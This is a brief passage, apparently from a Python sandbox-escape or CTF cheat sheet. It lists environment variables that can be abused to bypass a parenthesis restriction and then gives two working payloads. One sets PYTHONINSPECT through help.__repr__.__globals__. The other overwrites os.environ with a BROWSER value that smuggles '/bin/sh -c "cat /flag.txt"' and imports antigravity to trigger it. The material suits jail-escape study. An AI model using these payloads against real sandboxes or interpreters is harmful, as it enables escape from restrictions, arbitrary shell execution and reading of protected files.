Environment Variables

With this following environment variables, we can bypass the parenthesis and execute the code.

PYTHONINSPECT
BROWSER
PYTHONHOME
PYTHONPATH
PYTHONWARNINGS

help.__repr__.__globals__["sys"].modules["os"].environ.__setitem__("PYTHONINSPECT", "1")
help.__repr__.__builtins__["__import__"]('antigravity', help.__repr__.__builtins__["setattr"](help.__repr__.__builtins__["__import__"]('os'),'environ',{}.__class__(BROWSER='/bin/sh -c "cat /flag.txt" #%s')))